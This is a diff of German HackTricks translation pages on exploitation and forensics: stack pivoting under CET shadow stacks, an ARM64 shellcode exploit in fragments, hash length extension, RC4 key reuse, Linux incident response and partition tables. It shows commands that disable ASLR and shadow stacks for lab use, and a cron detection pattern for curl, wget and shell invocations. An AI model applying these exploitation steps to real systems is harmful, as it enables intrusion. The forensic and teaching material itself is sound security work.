## Moderne Abschwächungen, die Stack-Pivoting brechen (CET/Shadow Stack)
Moderne x86-CPUs und -Betriebssysteme setzen zunehmend **CET Shadow Stack (SHSTK)** ein. Mit aktiviertem SHSTK vergleicht `ret` die Rücksprungadresse auf dem normalen Stack mit einem hardwaregeschützten Shadow-Stack; jede Abweichung löst einen Control-Protection-Fehler aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-basierte Pivots abstürzen, sobald das erste `ret` von einem pivotierten Stack ausgeführt wird.
Moderne x86-CPUs und Betriebssysteme setzen zunehmend **CET Shadow Stack (SHSTK)** ein. Mit aktiviertem SHSTK vergleicht `ret` die Rücksprungadresse auf dem normalen Stack mit einem hardwaregeschützten Shadow-Stack; jede Abweichung löst einen Control-Protection-Fehler aus und beendet den Prozess. Daher werden Techniken wie EBP2Ret/leave;ret-basierte Pivots abstürzen, sobald das erste `ret` von einem pivotierten Stack ausgeführt wird.
- Für Hintergrundinformationen und tiefere Details siehe:
@ -239,16 +240,16 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
(gdb) checksec
```
- Hinweise für Labs/CTF:
- Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binaries, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter `nousershstk` deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Mitigationen auf Produktionszielen.
- Einige moderne Distributionen aktivieren SHSTK für CET-aktivierte Binaries, wenn Hardware- und glibc-Unterstützung vorhanden ist. Für kontrollierte Tests in VMs kann SHSTK systemweit über den Kernel-Bootparameter `nousershstk` deaktiviert oder selektiv über glibc-Tunables während des Starts aktiviert werden (siehe Referenzen). Deaktivieren Sie keine Minderung auf Produktionszielen.
- JOP/COOP oder SROP-basierte Techniken könnten auf einigen Zielen weiterhin möglich sein, aber SHSTK bricht speziell `ret`-basierte Pivots.
- Windows-Hinweis: Windows 10+ exponiert den Benutzermodus und Windows 11 fügt den Kernelmodus „Hardware-enforced Stack Protection“ hinzu, der auf Shadow Stacks basiert. CET-kompatible Prozesse verhindern Stack-Pivoting/ROP bei `ret`; Entwickler optieren über CETCOMPAT und verwandte Richtlinien ein (siehe Referenz).
## ARM64
In ARM64 speichern die **Prologe und Epiloge** der Funktionen **nicht das SP-Register** im Stack und rufen es auch nicht ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern **die Adresse in `x30`**.
In ARM64 speichern die **Prologe und Epiloge** der Funktionen **nicht das SP-Register** im Stack und rufen es nicht ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht die Adresse zurück, die von SP angezeigt wird, sondern **die Adresse in `x30`**.
Daher können Sie standardmäßig durch das Ausnutzen des Epilogs **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das **`x30`**-Register zu **kontrollieren**.
Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, benötigen Sie immer noch eine Möglichkeit, das **`x30`**-Register zu **kontrollieren**.
- Prolog
@ -267,7 +268,7 @@ ret
```
> [!CAUTION]
> Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu **kontrollieren** (indem Sie ein Register kontrollieren, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse aus dem Stack bezieht und wir einen Überlauf haben) und dann **den Epilog auszunutzen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **`RET`** darauf auszuführen.
> Der Weg, etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu **kontrollieren** (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse aus dem Stack bezieht und wir einen Overflow haben) und dann **den Epilog zu missbrauchen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **`RET`** darauf auszuführen.
Auch auf der folgenden Seite sehen Sie das Äquivalent von **Ret2esp in ARM64**:
@ -280,9 +281,9 @@ Auch auf der folgenden Seite sehen Sie das Äquivalent von **Ret2esp in ARM64**:
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 Bit, Off-by-One-Ausnutzung mit einer ROP-Kette, die mit einem Ret-Sled beginnt
- 64 Bits, Off-by-One-Ausnutzung mit einer ROP-Kette, die mit einem Ret-Sled beginnt
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 Bit, kein relro, canary, nx und pie. Das Programm gewährt einen Leak für Stack oder pie und ein WWW eines qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den pie-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge ausnutzt + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch das Ausnutzen dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
- 64 Bit, kein relro, canary, nx und pie. Das Programm gewährt einen Leak für Stack oder pie und ein WWW eines qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den pie-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge missbraucht + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch den Missbrauch dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird.
- Linux-Kernel-Dokumentation: Control-flow Enforcement Technology (CET) Shadow Stack — Details zu SHSTK, `nousershstk`, `/proc/$PID/status`-Flags und Aktivierung über `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
- Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET Shadow Stacks auf Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection

View File

@ -4,6 +4,7 @@
Finden Sie eine Einführung in arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -33,7 +34,7 @@ Um ASLR zu stoppen, führe aus:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Um die [**Offset des bof zu erhalten, überprüfen Sie diesen Link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Um den [**Offset des bof zu erhalten, überprüfen Sie diesen Link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploits:
```python
@ -66,8 +67,8 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Die einzige "komplizierte" Sache, die hier zu finden wäre, wäre die Adresse im Stack, die aufgerufen werden soll. In meinem Fall habe ich den Exploit mit der Adresse generiert, die ich mit gdb gefunden habe, aber dann hat es beim Ausnutzen nicht funktioniert (weil sich die Stack-Adresse ein wenig geändert hat).
Die einzige "komplizierte" Sache, die hier zu finden wäre, wäre die Adresse im Stack, die aufgerufen werden soll. In meinem Fall habe ich den Exploit mit der Adresse generiert, die ich mit gdb gefunden habe, aber als ich ihn dann ausgenutzt habe, hat es nicht funktioniert (weil sich die Stack-Adresse ein wenig geändert hat).
Ich öffnete die generierte **`core`-Datei** (`gdb ./bog ./core`) und überprüfte die tatsächliche Adresse des Starts des Shellcodes.
Ich habe die generierte **`core`-Datei** (`gdb ./bog ./core`) geöffnet und die tatsächliche Adresse des Starts des Shellcodes überprüft.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Überprüfen Sie dieses Wiki, um weitere esoterische Sprachen zu suchen
Überprüfen Sie dieses Wiki, um weitere esoterische Sprachen zu suchen.
## Malbolge
```

View File

@ -4,7 +4,7 @@
## Zusammenfassung des Angriffs
Stellen Sie sich einen Server vor, der einige **Daten** **signiert**, indem er ein **Geheimnis** an einige bekannte Klartextdaten **anhängt** und dann diese Daten hasht. Wenn Sie wissen:
Stellen Sie sich einen Server vor, der **Daten** **signiert**, indem er ein **Geheimnis** an einige bekannte Klartextdaten **anhängt** und dann diese Daten hasht. Wenn Sie wissen:
- **Die Länge des Geheimnisses** (dies kann auch aus einem gegebenen Längenbereich bruteforced werden)
- **Die Klartextdaten**
@ -17,7 +17,7 @@ Dann ist es möglich für einen **Angreifer**, **Daten** **anzuhängen** und ein
### Wie?
Grundsätzlich generieren die anfälligen Algorithmen die Hashes, indem sie zuerst einen **Block von Daten hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den **nächsten Block von Daten hinzufügen** und **hashen**.
Grundsätzlich erzeugen die anfälligen Algorithmen die Hashes, indem sie zuerst einen **Block von Daten hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), sie **den nächsten Block von Daten hinzufügen** und **hashen**.
Stellen Sie sich vor, das Geheimnis ist "secret" und die Daten sind "data", der MD5 von "secretdata" ist 6036708eba0d11f6ef52ad44e8b74d5b.\
Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:

View File

@ -1,13 +1,17 @@
# RC4 Verschlüsseln und Entschlüsseln
{{#include ../banners/hacktricks-training.md}}
Wenn Sie auf irgendeine Weise einen Klartext mit RC4 verschlüsseln können, können Sie jeden Inhalt, der mit diesem RC4 verschlüsselt wurde (unter Verwendung des gleichen Passworts), nur mit der Verschlüsselungsfunktion entschlüsseln.
Wenn Sie es irgendwie schaffen, einen Klartext mit RC4 zu verschlüsseln, können Sie jeden Inhalt, der mit diesem RC4 (unter Verwendung des gleichen Passworts) verschlüsselt wurde, nur mit der Verschlüsselungsfunktion entschlüsseln.
Wenn Sie einen bekannten Klartext verschlüsseln können, können Sie auch das Passwort extrahieren. Weitere Referenzen finden Sie in der HTB Kryptos-Maschine:
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}

View File

@ -53,13 +53,13 @@ Ich möchte die Seite besonders erwähnen:
specific-software-file-type-tricks/browser-artifacts.md
{{#endref}}
## Speicher-Dump-Inspektion
## Überprüfung von Speicher-Dumps
{{#ref}}
memory-dump-analysis/
{{#endref}}
## Pcap-Inspektion
## Pcap-Überprüfung
{{#ref}}
pcap-inspection/

View File

@ -33,7 +33,7 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
Während Sie die grundlegenden Informationen sammeln, sollten Sie nach seltsamen Dingen suchen, wie zum Beispiel:
- **Root-Prozesse** laufen normalerweise mit niedrigen PIDs, also wenn Sie einen Root-Prozess mit einer hohen PID finden, könnten Sie Verdacht schöpfen.
- **Root-Prozesse** laufen normalerweise mit niedrigen PIDs, also wenn Sie einen Root-Prozess mit einer großen PID finden, sollten Sie misstrauisch sein.
- Überprüfen Sie die **registrierten Logins** von Benutzern ohne eine Shell in `/etc/passwd`.
- Überprüfen Sie auf **Passworthashes** in `/etc/shadow` für Benutzer ohne eine Shell.
@ -57,18 +57,18 @@ LiME unterstützt 3 **Formate**:
- Padded (gleich wie raw, aber mit Nullen in den rechten Bits)
- Lime (empfohlenes Format mit Metadaten)
LiME kann auch verwendet werden, um den Dump über das **Netzwerk zu senden**, anstatt ihn auf dem System zu speichern, indem man etwas wie `path=tcp:4444` verwendet.
LiME kann auch verwendet werden, um den **Dump über das Netzwerk zu senden**, anstatt ihn auf dem System zu speichern, indem man etwas wie `path=tcp:4444` verwendet.
### Festplattenabbildung
#### Herunterfahren
Zunächst müssen Sie das **System herunterfahren**. Dies ist nicht immer eine Option, da das System manchmal ein Produktionsserver ist, den sich das Unternehmen nicht leisten kann, herunterzufahren.\
Es gibt **2 Möglichkeiten**, das System herunterzufahren: ein **normales Herunterfahren** und ein **"Stecker ziehen" Herunterfahren**. Das erste ermöglicht es den **Prozessen, wie gewohnt zu beenden** und das **Dateisystem** zu **synchronisieren**, aber es könnte auch dem möglichen **Malware** erlauben, **Beweise zu vernichten**. Der "Stecker ziehen"-Ansatz kann **einige Informationsverluste** mit sich bringen (nicht viele Informationen werden verloren gehen, da wir bereits ein Abbild des Speichers gemacht haben) und die **Malware wird keine Gelegenheit haben**, etwas dagegen zu unternehmen. Daher, wenn Sie **vermuten**, dass es **Malware** geben könnte, führen Sie einfach den **`sync`** **Befehl** auf dem System aus und ziehen Sie den Stecker.
Es gibt **2 Möglichkeiten**, das System herunterzufahren: ein **normales Herunterfahren** und ein **"Stecker ziehen" Herunterfahren**. Das erste ermöglicht es den **Prozessen, wie gewohnt zu beenden** und das **Dateisystem** zu **synchronisieren**, aber es könnte auch dem möglichen **Malware** ermöglichen, **Beweise zu vernichten**. Der "Stecker ziehen"-Ansatz kann **einige Informationsverluste** mit sich bringen (nicht viele Informationen werden verloren gehen, da wir bereits ein Abbild des Speichers erstellt haben) und die **Malware hat keine Möglichkeit**, etwas dagegen zu unternehmen. Daher, wenn Sie **verdächtigen**, dass es **Malware** geben könnte, führen Sie einfach den **`sync`** **Befehl** auf dem System aus und ziehen Sie den Stecker.
#### Erstellen eines Abbilds der Festplatte
Es ist wichtig zu beachten, dass **bevor Sie Ihren Computer mit etwas in Verbindung bringen, das mit dem Fall zu tun hat**, Sie sicherstellen müssen, dass er als **nur lesen** gemountet wird, um zu vermeiden, dass Informationen verändert werden.
Es ist wichtig zu beachten, dass Sie **bevor Sie Ihren Computer mit etwas, das mit dem Fall zu tun hat, verbinden**, sicherstellen müssen, dass er als **schreibgeschützt** **gemountet** wird, um zu vermeiden, dass Informationen verändert werden.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -206,7 +206,7 @@ for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron
grep -R --line-number -E 'curl|wget|/bin/sh|python|bash -c' /etc/cron.*/* 2>/dev/null
```
#### Hunt: SSH-Härtung Rollback und Backdoor-Shells
Änderungen an sshd_config und Systemkonto-Shells sind häufige Maßnahmen nach der Ausnutzung, um den Zugriff zu erhalten.
Änderungen an sshd_config und Systemkonto-Shells sind nach der Ausnutzung üblich, um den Zugriff zu erhalten.
```bash
# Root login enablement (flag "yes" or lax values)
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
@ -244,7 +244,7 @@ Linux-Kernel-Module, die oft von Malware als Rootkit-Komponenten verwendet werde
- **/etc/modprobe.d**: Enthält Konfigurationsdateien zur Steuerung des Modul-Ladens.
- **/etc/modprobe** und **/etc/modprobe.conf**: Dateien für globale Moduleinstellungen.
### Weitere Autostart-Standorte
### Andere Autostart-Standorte
Linux verwendet verschiedene Dateien, um Programme automatisch beim Benutzer-Login auszuführen, die möglicherweise Malware beherbergen:
@ -267,13 +267,13 @@ Linux-Systeme verfolgen Benutzeraktivitäten und Systemereignisse durch verschie
- **/var/log/cron**: Protokolliert die Ausführung von Cron-Jobs.
- **/var/log/daemon.log**: Verfolgt Aktivitäten von Hintergrunddiensten.
- **/var/log/btmp**: Dokumentiert fehlgeschlagene Anmeldeversuche.
- **/var/log/httpd/**: Enthält Apache HTTPD-Fehler- und Zugriffsprotokolle.
- **/var/log/httpd/**: Enthält Apache HTTPD Fehler- und Zugriffsprotokolle.
- **/var/log/mysqld.log** oder **/var/log/mysql.log**: Protokolliert Aktivitäten der MySQL-Datenbank.
- **/var/log/xferlog**: Protokolliert FTP-Dateiübertragungen.
- **/var/log/**: Überprüfen Sie hier immer auf unerwartete Protokolle.
> [!TIP]
> Linux-Systemprotokolle und Auditsysteme können in einem Eindringungs- oder Malware-Vorfall deaktiviert oder gelöscht werden. Da Protokolle auf Linux-Systemen im Allgemeinen einige der nützlichsten Informationen über böswillige Aktivitäten enthalten, löschen Eindringlinge sie routinemäßig. Daher ist es wichtig, beim Überprüfen der verfügbaren Protokolldateien nach Lücken oder nicht in der Reihenfolge befindlichen Einträgen zu suchen, die auf Löschung oder Manipulation hinweisen könnten.
> [!TIPP]
> Linux-Systemprotokolle und Auditsysteme können bei einem Eindringen oder Malware-Vorfall deaktiviert oder gelöscht werden. Da Protokolle auf Linux-Systemen im Allgemeinen einige der nützlichsten Informationen über böswillige Aktivitäten enthalten, löschen Eindringlinge sie routinemäßig. Daher ist es wichtig, beim Überprüfen der verfügbaren Protokolldateien nach Lücken oder nicht in der Reihenfolge befindlichen Einträgen zu suchen, die auf Löschungen oder Manipulationen hinweisen könnten.
**Linux führt eine Befehlsverlauf für jeden Benutzer**:
@ -298,7 +298,7 @@ Einige Apps generieren auch ihre eigenen Protokolle:
- **Gnome Desktop**: Überprüfen Sie _\~/.recently-used.xbel_ auf kürzlich zugegriffene Dateien über Gnome-Anwendungen.
- **Firefox/Chrome**: Überprüfen Sie den Browserverlauf und Downloads in _\~/.mozilla/firefox_ oder _\~/.config/google-chrome_ auf verdächtige Aktivitäten.
- **VIM**: Überprüfen Sie _\~/.viminfo_ auf Nutzungsdetails, wie z.B. aufgerufene Dateipfade und Suchverlauf.
- **Open Office**: Überprüfen Sie auf den Zugriff auf kürzlich verwendete Dokumente, die auf kompromittierte Dateien hinweisen könnten.
- **Open Office**: Überprüfen Sie den Zugriff auf kürzlich verwendete Dokumente, die auf kompromittierte Dateien hinweisen könnten.
- **FTP/SFTP**: Überprüfen Sie Protokolle in _\~/.ftp_history_ oder _\~/.sftp_history_ auf möglicherweise unbefugte Dateiübertragungen.
- **MySQL**: Untersuchen Sie _\~/.mysql_history_ auf ausgeführte MySQL-Abfragen, die möglicherweise unbefugte Datenbankaktivitäten offenbaren.
- **Less**: Analysieren Sie _\~/.lesshst_ auf Nutzungshistorie, einschließlich angezeigter Dateien und ausgeführter Befehle.
@ -355,11 +355,11 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
> [!TIP]
> Beachten Sie, dass ein **Angreifer** die **Zeit** **ändern** kann, um **Dateien legitim erscheinen** zu lassen, aber er **kann** die **inode** **nicht** ändern. Wenn Sie feststellen, dass eine **Datei** angibt, dass sie zur **gleichen Zeit** wie die anderen Dateien im selben Ordner erstellt und geändert wurde, aber die **inode** **unerwartet größer** ist, dann wurden die **Zeitstempel dieser Datei geändert**.
> Beachten Sie, dass ein **Angreifer** die **Zeit** ändern kann, um **Dateien legitim erscheinen** zu lassen, aber er **kann** die **inode** **nicht** ändern. Wenn Sie feststellen, dass eine **Datei** angibt, dass sie zur **gleichen Zeit** wie die anderen Dateien im selben Ordner erstellt und geändert wurde, aber die **inode** **unerwartet größer** ist, dann wurden die **Zeitstempel dieser Datei geändert**.
## Vergleich von Dateien verschiedener Dateisystemversionen
### Zusammenfassung des Dateisystemversionsvergleichs
### Zusammenfassung des Vergleichs von Dateisystemversionen
Um Dateisystemversionen zu vergleichen und Änderungen zu identifizieren, verwenden wir vereinfachte `git diff`-Befehle:

View File

@ -47,9 +47,9 @@ Von den **Bytes 440 bis 443** des MBR finden Sie die **Windows-Disk-Signatur** (
| 8 (0x08) | 4 (0x04) | Sektoren vor der Partition (little endian) |
| 12 (0x0C) | 4 (0x04) | Sektoren in der Partition |
Um ein MBR in Linux zu mounten, müssen Sie zuerst den Start-Offset ermitteln (Sie können `fdisk` und den `p`-Befehl verwenden)
Um ein MBR in Linux zu mounten, müssen Sie zuerst den Start-Offset ermitteln (Sie können `fdisk` und den Befehl `p` verwenden)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Und dann verwenden Sie den folgenden Code
```bash
@ -60,14 +60,14 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Logische Blockadressierung)**
**Logische Blockadressierung** (**LBA**) ist ein gängiges Verfahren zur **Spezifizierung des Standorts von Blöcken** von Daten, die auf Computer-Speichergeräten gespeichert sind, in der Regel auf sekundären Speichersystemen wie Festplatten. LBA ist ein besonders einfaches lineares Adressierungsschema; **Blöcke werden durch einen ganzzahligen Index lokalisiert**, wobei der erste Block LBA 0, der zweite LBA 1 und so weiter ist.
**Logische Blockadressierung** (**LBA**) ist ein gängiges Verfahren zur **Spezifizierung des Standorts von Blöcken** von Daten, die auf Computerspeichergeräten gespeichert sind, in der Regel auf sekundären Speichersystemen wie Festplattenlaufwerken. LBA ist ein besonders einfaches lineares Adressierungsschema; **Blöcke werden durch einen ganzzahligen Index lokalisiert**, wobei der erste Block LBA 0, der zweite LBA 1 und so weiter ist.
### GPT (GUID-Partitionstabelle)
Die GUID-Partitionstabelle, bekannt als GPT, wird aufgrund ihrer erweiterten Funktionen im Vergleich zu MBR (Master Boot Record) bevorzugt. Auffällig ist ihr **global eindeutiger Identifikator** für Partitionen, der sich in mehreren Aspekten unterscheidet:
- **Standort und Größe**: Sowohl GPT als auch MBR beginnen bei **Sektor 0**. GPT arbeitet jedoch mit **64 Bit**, im Gegensatz zu MBRs 32 Bit.
- **Partitionsgrenzen**: GPT unterstützt bis zu **128 Partitionen** auf Windows-Systemen und kann bis zu **9,4 ZB** an Daten speichern.
- **Partitionsgrenzen**: GPT unterstützt bis zu **128 Partitionen** auf Windows-Systemen und kann bis zu **9,4 ZB** an Daten aufnehmen.
- **Partitionsnamen**: Bietet die Möglichkeit, Partitionen mit bis zu 36 Unicode-Zeichen zu benennen.
**Datenresilienz und Wiederherstellung**:
@ -77,7 +77,7 @@ Die GUID-Partitionstabelle, bekannt als GPT, wird aufgrund ihrer erweiterten Fun
**Schützendes MBR (LBA0)**:
- GPT erhält die Abwärtskompatibilität durch ein schützendes MBR. Diese Funktion befindet sich im Legacy-MBR-Bereich, ist jedoch so konzipiert, dass sie ältere MBR-basierte Dienstprogramme daran hindert, GPT-Festplatten versehentlich zu überschreiben, und somit die Datenintegrität auf GPT-formatierten Festplatten schützt.
- GPT erhält die Abwärtskompatibilität durch ein schützendes MBR. Diese Funktion befindet sich im Legacy-MBR-Bereich, ist jedoch so konzipiert, dass sie ältere MBR-basierte Dienstprogramme daran hindert, GPT-Disketten versehentlich zu überschreiben, und somit die Datenintegrität auf GPT-formatierten Festplatten schützt.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>)
@ -87,21 +87,21 @@ Die GUID-Partitionstabelle, bekannt als GPT, wird aufgrund ihrer erweiterten Fun
In Betriebssystemen, die **GPT-basiertes Booten über BIOS**-Dienste anstelle von EFI unterstützen, kann der erste Sektor auch weiterhin verwendet werden, um die erste Stufe des **Bootloader**-Codes zu speichern, jedoch **modifiziert**, um **GPT**-**Partitionen** zu erkennen. Der Bootloader im MBR darf nicht von einer Sektorgröße von 512 Bytes ausgehen.
**Partitionstabelle-Header (LBA 1)**
**Partitionstabellenkopf (LBA 1)**
[Von Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Der Partitionstabelle-Header definiert die verwendbaren Blöcke auf der Festplatte. Er definiert auch die Anzahl und Größe der Partitionseinträge, die die Partitionstabelle bilden (Offsets 80 und 84 in der Tabelle).
Der Partitionstabellenkopf definiert die verwendbaren Blöcke auf der Festplatte. Er definiert auch die Anzahl und Größe der Partitionseinträge, die die Partitionstabelle bilden (Offsets 80 und 84 in der Tabelle).
| Offset | Länge | Inhalt |
| --------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 Bytes | Signatur ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h oder 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)auf Little-Endian-Maschinen) |
| 8 (0x08) | 4 Bytes | Revision 1.0 (00h 00h 01h 00h) für UEFI 2.8 |
| 12 (0x0C) | 4 Bytes | Headergröße in Little Endian (in Bytes, normalerweise 5Ch 00h 00h 00h oder 92 Bytes) |
| 16 (0x10) | 4 Bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) des Headers (Offset +0 bis Headergröße) in Little Endian, wobei dieses Feld während der Berechnung auf Null gesetzt wird |
| 12 (0x0C) | 4 Bytes | Kopfgröße in Little Endian (in Bytes, normalerweise 5Ch 00h 00h 00h oder 92 Bytes) |
| 16 (0x10) | 4 Bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) des Headers (Offset +0 bis zur Kopfgröße) in Little Endian, wobei dieses Feld während der Berechnung auf Null gesetzt wird |
| 20 (0x14) | 4 Bytes | Reserviert; muss Null sein |
| 24 (0x18) | 8 Bytes | Aktuelles LBA (Standort dieser Headerkopie) |
| 32 (0x20) | 8 Bytes | Backup-LBA (Standort der anderen Headerkopie) |
| 24 (0x18) | 8 Bytes | Aktuelles LBA (Standort dieser Kopfkopie) |
| 32 (0x20) | 8 Bytes | Backup-LBA (Standort der anderen Kopfkopie) |
| 40 (0x28) | 8 Bytes | Erstes verwendbares LBA für Partitionen (letztes LBA der primären Partitionstabelle + 1) |
| 48 (0x30) | 8 Bytes | Letztes verwendbares LBA (erstes LBA der sekundären Partitionstabelle 1) |
| 56 (0x38) | 16 Bytes | Festplattenguid in gemischtem Endian |
@ -109,7 +109,7 @@ Der Partitionstabelle-Header definiert die verwendbaren Blöcke auf der Festplat
| 80 (0x50) | 4 Bytes | Anzahl der Partitionseinträge im Array |
| 84 (0x54) | 4 Bytes | Größe eines einzelnen Partitionseintrags (normalerweise 80h oder 128) |
| 88 (0x58) | 4 Bytes | CRC32 des Arrays der Partitionseinträge in Little Endian |
| 92 (0x5C) | \* | Reserviert; muss für den Rest des Blocks Null sein (420 Bytes für eine Sektorgröße von 512 Bytes; kann jedoch mehr sein bei größeren Sektorgrößen) |
| 92 (0x5C) | \* | Reserviert; muss für den Rest des Blocks Nullen sein (420 Bytes für eine Sektorgröße von 512 Bytes; kann jedoch bei größeren Sektorgrößen mehr sein) |
**Partitionseinträge (LBA 233)**
@ -121,7 +121,7 @@ Der Partitionstabelle-Header definiert die verwendbaren Blöcke auf der Festplat
| 32 (0x20) | 8 Bytes | Erstes LBA ([Little Endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 Bytes | Letztes LBA (einschließlich, normalerweise ungerade) |
| 48 (0x30) | 8 Bytes | Attribut-Flags (z. B. Bit 60 bezeichnet schreibgeschützt) |
| 56 (0x38) | 72 Bytes | Partitionsname (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE-Codeeinheiten) |
| 56 (0x38) | 72 Bytes | Partitionsname (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE-Codeeinheiten) |
**Partitionstypen**
@ -131,7 +131,7 @@ Weitere Partitionstypen unter [https://en.wikipedia.org/wiki/GUID_Partition_Tabl
### Inspektion
Nachdem das forensische Image mit [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) gemountet wurde, können Sie den ersten Sektor mit dem Windows-Tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In dem folgenden Bild wurde ein **MBR** im **Sektor 0** erkannt und interpretiert:
Nach dem Einbinden des forensischen Images mit [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) können Sie den ersten Sektor mit dem Windows-Tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In dem folgenden Bild wurde ein **MBR** im **Sektor 0** erkannt und interpretiert:
![](<../../../images/image (354).png>)
@ -149,7 +149,7 @@ Wenn es sich um eine **GPT-Tabelle anstelle eines MBR** handelte, sollte die Sig
### FAT
Das **FAT (File Allocation Table)**-Dateisystem ist um seine Kernkomponente, die Dateizuordnungstabelle, herum gestaltet, die sich am Anfang des Volumes befindet. Dieses System schützt Daten, indem es **zwei Kopien** der Tabelle aufrechterhält, um die Datenintegrität zu gewährleisten, selbst wenn eine beschädigt ist. Die Tabelle sowie der Stammordner müssen sich an einem **festen Standort** befinden, was für den Startprozess des Systems entscheidend ist.
Das **FAT (File Allocation Table)**-Dateisystem ist um seine Kernkomponente, die Dateizuordnungstabelle, herum gestaltet, die sich am Anfang des Volumes befindet. Dieses System schützt Daten, indem es **zwei Kopien** der Tabelle aufrechterhält, um die Datenintegrität auch dann zu gewährleisten, wenn eine beschädigt ist. Die Tabelle sowie der Stammordner müssen sich an einem **festen Standort** befinden, was für den Startprozess des Systems entscheidend ist.
Die grundlegende Speichereinheit des Dateisystems ist ein **Cluster, normalerweise 512B**, der aus mehreren Sektoren besteht. FAT hat sich durch verschiedene Versionen weiterentwickelt:
@ -178,7 +178,7 @@ Einige Dateien enthalten Metadaten. Diese Informationen beziehen sich auf den In
- Titel
